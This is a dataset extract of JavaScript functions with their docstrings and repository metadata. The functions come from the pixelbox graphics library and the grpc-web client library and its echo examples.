code
stringlengths
10
343k
docstring
stringlengths
36
21.9k
func_name
stringlengths
1
3.35k
language
stringclasses
1 value
repo
stringlengths
7
58
path
stringlengths
4
131
url
stringlengths
44
195
license
stringclasses
5 values
Texture.prototype.setPalette = function (palette) { Texture.prototype.palette = palette; };
Set texture palette. The charset sheet is recreated when this method is called. @param {string[]} palette - palette definition. This is an array of css formated colors. At initialisation it is `['#000000', '#FFFFFF']` and is it is redifined by the default palette in the settings file.
Texture.prototype.setPalette ( palette )
javascript
cstoquer/pixelbox
Texture/index.js
https://github.com/cstoquer/pixelbox/blob/master/Texture/index.js
MIT
Texture.prototype.setGlobalTilesheet = function (tilesheet) { setTilesheet(Texture.prototype, tilesheet); };
Set default tilesheet for all Textures @param {Image | Texture | Map} tilesheet - tilesheet to use
Texture.prototype.setGlobalTilesheet ( tilesheet )
javascript
cstoquer/pixelbox
Texture/index.js
https://github.com/cstoquer/pixelbox/blob/master/Texture/index.js
MIT
Texture.prototype.setTilesheet = function (tilesheet) { // TODO: this solution is not well optimized as we add and remove attributes on an instance if (!tilesheet) { // remove local spritesheet so it naturally fallback to the prototype one delete this.tilesheet; return; } setTilesheet(this, tilesheet); return this; };
Set tilesheet to be used to draw tile in this Texture. By default, it is set to null and fallback to default tilesheet which is `assets/tilesheet` (the default tilesheet can also be changed with the global method `tilesheet`). The tilesheet can be anything drawable in Pixelbox: an image, canvas, another Texture or a Map. The texture use a direct reference to the tilesheet root element. @param {Image | Texture} tilesheet - tilesheet to use @returns {Texture} the texture itself
Texture.prototype.setTilesheet ( tilesheet )
javascript
cstoquer/pixelbox
Texture/index.js
https://github.com/cstoquer/pixelbox/blob/master/Texture/index.js
MIT
Texture.prototype.setCamera = function (x, y) { this.camera.x = x || 0; this.camera.y = y || 0; return this; };
Set camera position @param {number} [x] - camera x position in pixels, default is 0 @param {number} [y] - camera y position in pixels, default is 0 @returns {Texture} the texture itself
Texture.prototype.setCamera ( x , y )
javascript
cstoquer/pixelbox
Texture/index.js
https://github.com/cstoquer/pixelbox/blob/master/Texture/index.js
MIT
Batcher.prototype.prepare = function (renderer, channel, renderTarget) { // TODO: also add uniforms and flush if uniforms changes if (channel && channel._isSprite) channel = channel.img; // var program = renderer.program; // TODO: keep reference to the renderer var needFlush = false; // if (program !== this._program ) needFlush = true; if (channel !== this._channel0 ) needFlush = true; if (renderTarget !== this._renderTarget) needFlush = true; if (renderer !== this._renderer ) needFlush = true; if (needFlush) this.flush(); this._renderer.batcher = null; renderer.batcher = this; this._renderer = renderer; this._program = renderer.program; this._renderTarget = renderTarget; this._channel0 = channel; return this._renderer; };
Prepare the batch. If passed and current attributes are different current batch is rendered and batch reset to empty. @param {string} renderer - renderer @param {Image} channel - Image or Pixelbox's Texture (frameBuffer) @param {texture} renderTarget - Pixelbox's Texture
Batcher.prototype.prepare ( renderer , channel , renderTarget )
javascript
cstoquer/pixelbox
webGL/batcher.js
https://github.com/cstoquer/pixelbox/blob/master/webGL/batcher.js
MIT
function commit() { batcher.flush(); var program = context.useProgram(context.programs.sprite); gl.bindFramebuffer(gl.FRAMEBUFFER, null); // render to the main canvas gl.viewport(0, 0, W, H); gl.bindBuffer(gl.ARRAY_BUFFER, vertexBuffer); gl.uniform2f(gl.getUniformLocation(program, 'iChannel0Resolution'), W, H); // size of the $screen Texture gl.uniform2f(gl.getUniformLocation(program, 'iResolution'), W, H); // TODO: should be size of the main canvas (if upscaling) gl.vertexAttribPointer(enableAttribute(program, 'a_coordinates'), 2, gl.SHORT, false, INT16_SIZE * VERTEX_SIZE, 0); gl.vertexAttribPointer(enableAttribute(program, 'a_uv'), 2, gl.SHORT, false, INT16_SIZE * VERTEX_SIZE, INT16_SIZE * 2); bindChannel(program, pixelbox.$screen, 'iChannel0', 0); gl.drawArrays(gl.TRIANGLES, 0, 6); }
Flush all current rendering and draw $screen Texture on main canvas
commit ( )
javascript
cstoquer/pixelbox
webGL/index.js
https://github.com/cstoquer/pixelbox/blob/master/webGL/index.js
MIT
function unpackSpritesheetV1(root, path, data, image, meta) { for (var id in data) { if (id === '_type' || id === '_meta') continue; var subData = data[id]; var subPath = getFilePath(path, id); if (subData._folder) { unpackFolder(root, subPath, subData, id, image, meta); } else { unpackSprite(root, subPath, subData, id, image, meta); } } }
@param {Object} root - subobject of the `assets` object in which the sprite should live (must exist) @param {Object} data - spritesheet data @param {Image} image - spritesheet's image
unpackSpritesheetV1 ( root , path , data , image , meta )
javascript
cstoquer/pixelbox
spritesheet/index.js
https://github.com/cstoquer/pixelbox/blob/master/spritesheet/index.js
MIT
function unpackSpritesheet(root, path, data, image) { var meta = data._meta; if (meta.grid) { unpackGrid(root, path, meta, image, meta); return; } unpackSpritesheetV1(root, path, data, image, meta); }
@param {Object} root - an object where to unpack the spritesheet data @param {Object} data - the raw JSON spritesheet data @param {Image} image - spritesheet image
unpackSpritesheet ( root , path , data , image )
javascript
cstoquer/pixelbox
spritesheet/index.js
https://github.com/cstoquer/pixelbox/blob/master/spritesheet/index.js
MIT
function doSayHello(call, callback) { callback(null, {message: 'Hello! '+ call.request.name}); }
@param {!Object} call @param {function():?} callback
doSayHello ( call , callback )
javascript
grpc/grpc-web
net/grpc/gateway/examples/helloworld/server.js
https://github.com/grpc/grpc-web/blob/master/net/grpc/gateway/examples/helloworld/server.js
Apache-2.0
echoapp.EchoApp = function(echoService, ctors) { this.echoService = echoService; this.ctors = ctors; };
@param {Object} echoService @param {Object} ctors
echoapp.EchoApp ( echoService , ctors )
javascript
grpc/grpc-web
net/grpc/gateway/examples/echo/echoapp.js
https://github.com/grpc/grpc-web/blob/master/net/grpc/gateway/examples/echo/echoapp.js
Apache-2.0
echoapp.EchoApp.addMessage = function(message, cssClass) { $("#first").after( $("<div/>").addClass("row").append( $("<h2/>").append( $("<span/>").addClass("label " + cssClass).text(message)))); };
@param {string} message @param {string} cssClass
echoapp.EchoApp.addMessage ( message , cssClass )
javascript
grpc/grpc-web
net/grpc/gateway/examples/echo/echoapp.js
https://github.com/grpc/grpc-web/blob/master/net/grpc/gateway/examples/echo/echoapp.js
Apache-2.0
echoapp.EchoApp.prototype.repeatEcho = function(msg, count) { echoapp.EchoApp.addLeftMessage(msg); if (count > echoapp.EchoApp.MAX_STREAM_MESSAGES) { count = echoapp.EchoApp.MAX_STREAM_MESSAGES; } var streamRequest = new this.ctors.ServerStreamingEchoRequest(); streamRequest.setMessage(msg); streamRequest.setMessageCount(count); streamRequest.setMessageInterval(echoapp.EchoApp.INTERVAL); var stream = this.echoService.serverStreamingEcho( streamRequest, {"custom-header-1": "value1"}); stream.on('data', function(response) { echoapp.EchoApp.addRightMessage(response.getMessage()); }); stream.on('status', function(status) { if (status.metadata) { console.log("Received metadata"); console.log(status.metadata); } }); stream.on('error', function(err) { echoapp.EchoApp.addRightMessage('Error code: '+err.code+' "'+ err.message+'"'); }); stream.on('end', function() { console.log("stream end signal received"); }); };
@param {string} msg @param {number} count
echoapp.EchoApp.prototype.repeatEcho ( msg , count )
javascript
grpc/grpc-web
net/grpc/gateway/examples/echo/echoapp.js
https://github.com/grpc/grpc-web/blob/master/net/grpc/gateway/examples/echo/echoapp.js
Apache-2.0
echoapp.EchoApp.prototype.send = function(e) { var msg = $("#msg").val().trim(); $("#msg").val(''); // clear the text box if (!msg) return false; if (msg.indexOf(' ') > 0) { var count = msg.substr(0, msg.indexOf(' ')); if (/^\d+$/.test(count)) { this.repeatEcho(msg.substr(msg.indexOf(' ') + 1), count); } else if (count == 'err') { this.echoError(msg.substr(msg.indexOf(' ') + 1)); } else { this.echo(msg); } } else { this.echo(msg); } return false; };
@param {Object} e event @return {boolean} status
echoapp.EchoApp.prototype.send ( e )
javascript
grpc/grpc-web
net/grpc/gateway/examples/echo/echoapp.js
https://github.com/grpc/grpc-web/blob/master/net/grpc/gateway/examples/echo/echoapp.js
Apache-2.0
function copyMetadata(call) { var metadata = call.metadata.getMap(); var response_metadata = new grpc.Metadata(); for (var key in metadata) { response_metadata.set(key, metadata[key]); } return response_metadata; }
@param {!Object} call @return {!Object} metadata
copyMetadata ( call )
javascript
grpc/grpc-web
net/grpc/gateway/examples/echo/node-server/server.js
https://github.com/grpc/grpc-web/blob/master/net/grpc/gateway/examples/echo/node-server/server.js
Apache-2.0
function getServer() { var server = new grpc.Server(); server.addService(echo.EchoService.service, { echo: doEcho, echoAbort: doEchoAbort, serverStreamingEcho: doServerStreamingEcho, }); return server; }
Get a new server with the handler functions in this file bound to the methods it serves. @return {!Server} The new server object
getServer ( )
javascript
grpc/grpc-web
net/grpc/gateway/examples/echo/node-server/server.js
https://github.com/grpc/grpc-web/blob/master/net/grpc/gateway/examples/echo/node-server/server.js
Apache-2.0
constructor(stream) { this.stream = stream; }
@param {!ClientReadableStream<RESPONSE>} stream
constructor ( stream )
javascript
grpc/grpc-web
javascript/net/grpc/web/clientunarycallimpl.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/clientunarycallimpl.js
Apache-2.0
getMethodDescriptor() {}
@export @return {!MethodDescriptorInterface<REQUEST, RESPONSE>}
getMethodDescriptor ( )
javascript
grpc/grpc-web
javascript/net/grpc/web/unaryresponse.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/unaryresponse.js
Apache-2.0
getStatus() {}
gRPC status. Trailer metadata returned from a gRPC server is in status.metadata. @export @return {?Status}
getStatus ( )
javascript
grpc/grpc-web
javascript/net/grpc/web/unaryresponse.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/unaryresponse.js
Apache-2.0
constructor(options = {}, xhrIo = undefined) { /** * @const * @private {string} */ this.format_ = options.format || goog.getObjectByName('format', options) || 'text'; /** * @const * @private {boolean} */ this.suppressCorsPreflight_ = options.suppressCorsPreflight || goog.getObjectByName('suppressCorsPreflight', options) || false; /** * @const * @private {boolean} */ this.withCredentials_ = options.withCredentials || goog.getObjectByName('withCredentials', options) || false; /** * @const {!Array<!StreamInterceptor>} * @private */ this.streamInterceptors_ = options.streamInterceptors || goog.getObjectByName('streamInterceptors', options) || []; /** * @const {!Array<!UnaryInterceptor>} * @private */ this.unaryInterceptors_ = options.unaryInterceptors || goog.getObjectByName('unaryInterceptors', options) || []; /** @const @private {?XhrIo} */ this.xhrIo_ = xhrIo || null; }
@param {!ClientOptions=} options @param {!XhrIo=} xhrIo
constructor ( options = { } , xhrIo = undefined )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase.js
Apache-2.0
unaryCall(method, requestMessage, metadata, methodDescriptor) { return /** @type {!Promise<RESPONSE>}*/ ( this.thenableCall(method, requestMessage, metadata, methodDescriptor)); }
@export @param {string} method The method to invoke @param {REQUEST} requestMessage The request proto @param {!Object<string, string>} metadata User defined call metadata @param {!MethodDescriptor<REQUEST, RESPONSE>} methodDescriptor Information of this RPC method @return {!Promise<RESPONSE>} @template REQUEST, RESPONSE
unaryCall ( method , requestMessage , metadata , methodDescriptor )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase.js
Apache-2.0
startStream_(request, hostname) { const methodDescriptor = request.getMethodDescriptor(); let path = hostname + methodDescriptor.getName(); const xhr = this.xhrIo_ ? this.xhrIo_ : new XhrIo(); xhr.setWithCredentials(this.withCredentials_); const genericTransportInterface = { xhr: xhr, }; const stream = new GrpcWebClientReadableStream(genericTransportInterface); stream.setResponseDeserializeFn( methodDescriptor.getResponseDeserializeFn()); const metadata = request.getMetadata(); for(const key in metadata) { xhr.headers.set(key, metadata[key]); } this.processHeaders_(xhr); if (this.suppressCorsPreflight_) { const headerObject = toObject(xhr.headers); xhr.headers.clear(); path = GrpcWebClientBase.setCorsOverride_(path, headerObject); } const requestSerializeFn = methodDescriptor.getRequestSerializeFn(); const serialized = requestSerializeFn(request.getRequestMessage()); let payload = this.encodeRequest_(serialized); if (this.format_ == 'text') { payload = googCrypt.encodeByteArray(payload); } else if (this.format_ == 'binary') { xhr.setResponseType(XhrIo.ResponseType.ARRAY_BUFFER); } xhr.send(path, 'POST', payload); return stream; }
@private @template REQUEST, RESPONSE @param {!Request<REQUEST, RESPONSE>} request @param {string} hostname @return {!ClientReadableStream<RESPONSE>}
startStream_ ( request , hostname )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase.js
Apache-2.0
static setCallback_(stream, callback, useUnaryResponse) { let isResponseReceived = false; let responseReceived = null; let errorEmitted = false; stream.on('data', function(response) { isResponseReceived = true; responseReceived = response; }); stream.on('error', function(error) { if (error.code != StatusCode.OK && !errorEmitted) { errorEmitted = true; callback(error, null); } }); stream.on('status', function(status) { if (status.code != StatusCode.OK && !errorEmitted) { errorEmitted = true; callback( { code: status.code, message: status.details, metadata: status.metadata }, null); } else if (useUnaryResponse) { callback(null, null, status); } }); if (useUnaryResponse) { stream.on('metadata', function(metadata) { callback(null, null, null, metadata); }); } stream.on('end', function() { if (!errorEmitted) { if (!isResponseReceived) { callback({ code: StatusCode.UNKNOWN, message: 'Incomplete response', }); } else if (useUnaryResponse) { callback(null, responseReceived, null, null, /* unaryResponseReceived= */ true); } else { callback(null, responseReceived); } } if (useUnaryResponse) { callback(null, null); } }); }
@private @static @template RESPONSE @param {!ClientReadableStream<RESPONSE>} stream @param {function(?RpcError, ?RESPONSE, ?Status=, ?Object<string, string>=, ?boolean)| function(?RpcError,?RESPONSE)} callback @param {boolean} useUnaryResponse Pass true to have the client make multiple calls to the callback, using (error, response, status, metadata, unaryResponseReceived) arguments. One of error, status, metadata, or unaryResponseReceived will be truthy to indicate which piece of information the client is providing in that call. After the stream ends, it will call the callback an additional time with all falsy arguments. Pass false to have the client make one call to the callback using (error, response) arguments.
setCallback_ ( stream , callback , useUnaryResponse )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase.js
Apache-2.0
encodeRequest_(serialized) { let len = serialized.length; const bytesArray = [0, 0, 0, 0]; const payload = new Uint8Array(5 + len); for (let i = 3; i >= 0; i--) { bytesArray[i] = (len % 256); len = len >>> 8; } payload.set(new Uint8Array(bytesArray), 1); payload.set(serialized, 5); return payload; }
Encode the grpc-web request @private @param {!Uint8Array} serialized The serialized proto payload @return {!Uint8Array} The application/grpc-web padded request
encodeRequest_ ( serialized )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase.js
Apache-2.0
processHeaders_(xhr) { if (this.format_ == 'text') { xhr.headers.set('Content-Type', 'application/grpc-web-text'); xhr.headers.set('Accept', 'application/grpc-web-text'); } else { xhr.headers.set('Content-Type', 'application/grpc-web+proto'); } xhr.headers.set('X-User-Agent', 'grpc-web-javascript/0.1'); xhr.headers.set('X-Grpc-Web', '1'); if (xhr.headers.has('deadline')) { const deadline = Number(xhr.headers.get('deadline')); // in ms const currentTime = (new Date()).getTime(); let timeout = Math.ceil(deadline - currentTime); xhr.headers.delete('deadline'); if (timeout === Infinity) { // grpc-timeout header defaults to infinity if not set. timeout = 0; } if (timeout > 0) { xhr.headers.set('grpc-timeout', timeout + 'm'); // Also set timeout on the xhr request to terminate the HTTP request // if the server doesn't respond within the deadline. We use 110% of // grpc-timeout for this to allow the server to terminate the connection // with DEADLINE_EXCEEDED rather than terminating it in the Browser, but // at least 1 second in case the user is on a high-latency network. xhr.setTimeoutInterval(Math.max(1000, Math.ceil(timeout * 1.1))); } } }
@private @param {!XhrIo} xhr The xhr object
processHeaders_ ( xhr )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase.js
Apache-2.0
static setCorsOverride_(method, headerObject) { return /** @type {string} */ (HttpCors.setHttpHeadersWithOverwriteParam( method, HttpCors.HTTP_HEADERS_PARAM_NAME, headerObject)); }
@private @static @param {string} method The method to invoke @param {!Object<string,string>} headerObject The xhr headers @return {string} The URI object or a string path with headers
setCorsOverride_ ( method , headerObject )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientbase.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientbase.js
Apache-2.0
constructor(genericTransportInterface) { /** * @const * @private * @type {?XhrIo} The XhrIo object */ this.xhr_ = /** @type {?XhrIo} */ (genericTransportInterface.xhr); /** * @private * @type {function(?):!RESPONSE|null} The deserialize function for the proto */ this.responseDeserializeFn_ = null; /** * @const * @private * @type {!Array<function(!RESPONSE)>} The list of data callbacks */ this.onDataCallbacks_ = []; /** * @const * @private * @type {!Array<function(!Status)>} The list of status callbacks */ this.onStatusCallbacks_ = []; /** * @const * @private * @type {!Array<function(!Metadata)>} The list of metadata callbacks */ this.onMetadataCallbacks_ = []; /** * @const * @private * @type {!Array<function(!RpcError)>} The list of error callbacks */ this.onErrorCallbacks_ = []; /** * @const * @private * @type {!Array<function(...):?>} The list of stream end callbacks */ this.onEndCallbacks_ = []; /** * @private * @type {boolean} Whether the stream has been aborted */ this.aborted_ = false; /** * @private * @type {number} The stream parser position */ this.pos_ = 0; /** * @private * @type {!GrpcWebStreamParser} The grpc-web stream parser * @const */ this.parser_ = new GrpcWebStreamParser(); const self = this; events.listen(this.xhr_, EventType.READY_STATE_CHANGE, function(e) { let contentType = self.xhr_.getStreamingResponseHeader('Content-Type'); if (!contentType) return; contentType = contentType.toLowerCase(); let byteSource; if (googString.startsWith(contentType, 'application/grpc-web-text')) { // Ensure responseText is not null const responseText = self.xhr_.getResponseText() || ''; const newPos = responseText.length - responseText.length % 4; const newData = responseText.substr(self.pos_, newPos - self.pos_); if (newData.length == 0) return; self.pos_ = newPos; byteSource = googCrypt.decodeStringToUint8Array(newData); } else if (googString.startsWith(contentType, 'application/grpc')) { byteSource = new Uint8Array( /** @type {!ArrayBuffer} */ (self.xhr_.getResponse())); } else { self.handleError_( new RpcError(StatusCode.UNKNOWN, 'Unknown Content-type received.')); return; } let messages = null; try { messages = self.parser_.parse(byteSource); } catch (err) { self.handleError_( new RpcError(StatusCode.UNKNOWN, 'Error in parsing response body')); } if (messages) { const FrameType = GrpcWebStreamParser.FrameType; for (let i = 0; i < messages.length; i++) { if (FrameType.DATA in messages[i]) { const data = messages[i][FrameType.DATA]; if (data) { let isResponseDeserialized = false; let response; try { response = self.responseDeserializeFn_(data); isResponseDeserialized = true; } catch (err) { self.handleError_(new RpcError( StatusCode.INTERNAL, `Error when deserializing response data; error: ${err}` + `, response: ${response}`)); } if (isResponseDeserialized) { self.sendDataCallbacks_(response); } } } if (FrameType.TRAILER in messages[i]) { if (messages[i][FrameType.TRAILER].length > 0) { let trailerString = ''; for (let pos = 0; pos < messages[i][FrameType.TRAILER].length; pos++) { trailerString += String.fromCharCode(messages[i][FrameType.TRAILER][pos]); } const trailers = self.parseHttp1Headers_(trailerString); let grpcStatusCode = StatusCode.OK; let grpcStatusMessage = ''; if (GRPC_STATUS in trailers) { grpcStatusCode = /** @type {!StatusCode} */ (Number(trailers[GRPC_STATUS])); delete trailers[GRPC_STATUS]; } if (GRPC_STATUS_MESSAGE in trailers) { grpcStatusMessage = trailers[GRPC_STATUS_MESSAGE]; delete trailers[GRPC_STATUS_MESSAGE]; } self.handleError_( new RpcError(grpcStatusCode, grpcStatusMessage, trailers)); } } } } }); events.listen(this.xhr_, EventType.COMPLETE, function(e) { const lastErrorCode = self.xhr_.getLastErrorCode(); let grpcStatusCode = StatusCode.UNKNOWN; let grpcStatusMessage = ''; const initialMetadata = /** @type {!Metadata} */ ({}); // Get response headers with lower case keys. const rawResponseHeaders = self.xhr_.getResponseHeaders(); const responseHeaders = {}; for (const key in rawResponseHeaders) { if (rawResponseHeaders.hasOwnProperty(key)) { responseHeaders[key.toLowerCase()] = rawResponseHeaders[key]; } } Object.keys(responseHeaders).forEach((header_) => { if (!(EXCLUDED_RESPONSE_HEADERS.includes(header_))) { initialMetadata[header_] = responseHeaders[header_]; } }); self.sendMetadataCallbacks_(initialMetadata); // There's an XHR level error let xhrStatusCode = -1; if (lastErrorCode != ErrorCode.NO_ERROR) { switch (lastErrorCode) { case ErrorCode.ABORT: grpcStatusCode = StatusCode.ABORTED; break; case ErrorCode.TIMEOUT: grpcStatusCode = StatusCode.DEADLINE_EXCEEDED; break; case ErrorCode.HTTP_ERROR: xhrStatusCode = self.xhr_.getStatus(); grpcStatusCode = StatusCode.fromHttpStatus(xhrStatusCode); break; default: grpcStatusCode = StatusCode.UNAVAILABLE; } if (grpcStatusCode == StatusCode.ABORTED && self.aborted_) { return; } let errorMessage = ErrorCode.getDebugMessage(lastErrorCode); if (xhrStatusCode != -1) { errorMessage += ', http status code: ' + xhrStatusCode; } self.handleError_(new RpcError(grpcStatusCode, errorMessage)); return; } let errorEmitted = false; // Check whethere there are grpc specific response headers if (GRPC_STATUS in responseHeaders) { grpcStatusCode = /** @type {!StatusCode} */ ( Number(responseHeaders[GRPC_STATUS])); if (GRPC_STATUS_MESSAGE in responseHeaders) { grpcStatusMessage = responseHeaders[GRPC_STATUS_MESSAGE]; } if (grpcStatusCode != StatusCode.OK) { self.handleError_(new RpcError( grpcStatusCode, grpcStatusMessage || '', responseHeaders)); errorEmitted = true; } } if (!errorEmitted) { self.sendEndCallbacks_(); } }); }
@param {!GenericTransportInterface} genericTransportInterface The GenericTransportInterface
constructor ( genericTransportInterface )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientreadablestream.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientreadablestream.js
Apache-2.0
removeListenerFromCallbacks_(callbacks, callback) { const index = callbacks.indexOf(callback); if (index > -1) { callbacks.splice(index, 1); } }
@private @param {!Array<function(?)>} callbacks the internal list of callbacks @param {function(?)} callback the callback to remove
removeListenerFromCallbacks_ ( callbacks , callback )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientreadablestream.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientreadablestream.js
Apache-2.0
setResponseDeserializeFn(responseDeserializeFn) { this.responseDeserializeFn_ = responseDeserializeFn; }
Register a callbackl to parse the response @param {function(?):!RESPONSE} responseDeserializeFn The deserialize function for the proto
setResponseDeserializeFn ( responseDeserializeFn )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientreadablestream.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientreadablestream.js
Apache-2.0
parseHttp1Headers_(str) { const chunks = str.trim().split('\r\n'); const headers = {}; for (let i = 0; i < chunks.length; i++) { const pos = chunks[i].indexOf(':'); headers[chunks[i].substring(0, pos).trim()] = chunks[i].substring(pos + 1).trim(); } return headers; }
Parse HTTP headers @private @param {string} str The raw http header string @return {!Object} The header:value pairs
parseHttp1Headers_ ( str )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientreadablestream.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientreadablestream.js
Apache-2.0
sendDataCallbacks_(data) { for (let i = 0; i < this.onDataCallbacks_.length; i++) { this.onDataCallbacks_[i](data); } }
@private @param {!RESPONSE} data The data to send back
sendDataCallbacks_ ( data )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientreadablestream.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientreadablestream.js
Apache-2.0
sendStatusCallbacks_(status) { for (let i = 0; i < this.onStatusCallbacks_.length; i++) { this.onStatusCallbacks_[i](status); } }
@private @param {!Status} status The status to send back
sendStatusCallbacks_ ( status )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientreadablestream.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientreadablestream.js
Apache-2.0
sendMetadataCallbacks_(metadata) { for (let i = 0; i < this.onMetadataCallbacks_.length; i++) { this.onMetadataCallbacks_[i](metadata); } }
@private @param {!Metadata} metadata The metadata to send back
sendMetadataCallbacks_ ( metadata )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientreadablestream.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientreadablestream.js
Apache-2.0
sendErrorCallbacks_(error) { for (let i = 0; i < this.onErrorCallbacks_.length; i++) { this.onErrorCallbacks_[i](error); } }
@private @param {!RpcError} error The error to send back
sendErrorCallbacks_ ( error )
javascript
grpc/grpc-web
javascript/net/grpc/web/grpcwebclientreadablestream.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/grpcwebclientreadablestream.js
Apache-2.0
getCallOptions() {}
Client CallOptions. Note that CallOptions has not been implemented in grpc.web.AbstractClientbase yet, but will be used in grpc.web.GenericClient. @export @return {!CallOptions|undefined}
getCallOptions ( )
javascript
grpc/grpc-web
javascript/net/grpc/web/request.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/request.js
Apache-2.0
withMetadata(key, value) {}
@param {string} key @param {string} value @return {!Request<REQUEST, RESPONSE>}
withMetadata ( key , value )
javascript
grpc/grpc-web
javascript/net/grpc/web/request.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/request.js
Apache-2.0
withGrpcCallOption(name, value) {}
@param {string} name @param {VALUE} value @template VALUE @return {!Request<REQUEST, RESPONSE>}
withGrpcCallOption ( name , value )
javascript
grpc/grpc-web
javascript/net/grpc/web/request.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/request.js
Apache-2.0
const ClientReadableStream = function() {};
A stream that the client can read from. Used for calls that are streaming from the server side. @template RESPONSE @interface
ClientReadableStream ( )
javascript
grpc/grpc-web
javascript/net/grpc/web/clientreadablestream.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/clientreadablestream.js
Apache-2.0
UnaryInterceptor.prototype.intercept = function(request, invoker) {};
@export @abstract @template REQUEST, RESPONSE @param {!Request<REQUEST, RESPONSE>} request @param {function(!Request<REQUEST,RESPONSE>):!Promise<!UnaryResponse<RESPONSE>>} invoker @return {!Promise<!UnaryResponse<RESPONSE>>}
UnaryInterceptor.prototype.intercept ( request , invoker )
javascript
grpc/grpc-web
javascript/net/grpc/web/interceptor.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/interceptor.js
Apache-2.0
const StreamInterceptor = function() {};
Interceptor for RPC calls with response type `ClientReadableStream`. Two steps to create a stream interceptor: <1>Create a new subclass of ClientReadableStream that wraps around the original stream and overrides its methods. <2>Create a new subclass of StreamInterceptor. While implementing the StreamInterceptor.prototype.intercept method, return the wrapped ClientReadableStream. @interface
StreamInterceptor ( )
javascript
grpc/grpc-web
javascript/net/grpc/web/interceptor.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/interceptor.js
Apache-2.0
StreamInterceptor.prototype.intercept = function(request, invoker) {};
@export @abstract @template REQUEST, RESPONSE @param {!Request<REQUEST, RESPONSE>} request @param {function(!Request<REQUEST,RESPONSE>):!ClientReadableStream<RESPONSE>} invoker @return {!ClientReadableStream<RESPONSE>}
StreamInterceptor.prototype.intercept ( request , invoker )
javascript
grpc/grpc-web
javascript/net/grpc/web/interceptor.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/interceptor.js
Apache-2.0
constructor(code, message, metadata = {}) { super(message); /** @type {!StatusCode} */ this.code = code; /** @type {!Metadata} */ this.metadata = metadata; }
@param {!StatusCode} code @param {string} message @param {!Metadata=} metadata
constructor ( code , message , metadata = { } )
javascript
grpc/grpc-web
javascript/net/grpc/web/rpcerror.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/rpcerror.js
Apache-2.0
constructor( name, methodType, requestType, responseType, requestSerializeFn, responseDeserializeFn) { /** @const */ this.name = name; /** @const */ this.methodType = methodType; /** @const */ this.requestType = requestType; /** @const */ this.responseType = responseType; /** @const */ this.requestSerializeFn = requestSerializeFn; /** @const */ this.responseDeserializeFn = responseDeserializeFn; }
@param {string} name @param {?MethodType} methodType @param {function(new: REQUEST, ...)} requestType @param {function(new: RESPONSE, ...)} responseType @param {function(REQUEST): ?} requestSerializeFn @param {function(?): RESPONSE} responseDeserializeFn
constructor ( name , methodType , requestType , responseType , requestSerializeFn , responseDeserializeFn )
javascript
grpc/grpc-web
javascript/net/grpc/web/methoddescriptor.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/methoddescriptor.js
Apache-2.0
constructor(requestMessage, methodDescriptor, metadata, callOptions) { /** * @const {REQUEST} * @private */ this.requestMessage_ = requestMessage; /** * @const {!MethodDescriptor<REQUEST, RESPONSE>} * @private */ this.methodDescriptor_ = methodDescriptor; /** @const @private */ this.metadata_ = metadata; /** @const @private */ this.callOptions_ = callOptions; }
@param {REQUEST} requestMessage @param {!MethodDescriptor<REQUEST, RESPONSE>} methodDescriptor @param {!Metadata} metadata @param {!CallOptions} callOptions
constructor ( requestMessage , methodDescriptor , metadata , callOptions )
javascript
grpc/grpc-web
javascript/net/grpc/web/requestinternal.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/requestinternal.js
Apache-2.0
getMethodDescriptor() { return this.methodDescriptor_; }
@override @return {!MethodDescriptor<REQUEST, RESPONSE>}
getMethodDescriptor ( )
javascript
grpc/grpc-web
javascript/net/grpc/web/requestinternal.js
https://github.com/grpc/grpc-web/blob/master/javascript/net/grpc/web/requestinternal.js
Apache-2.0
getCallOptions() { return this.callOptions_; }
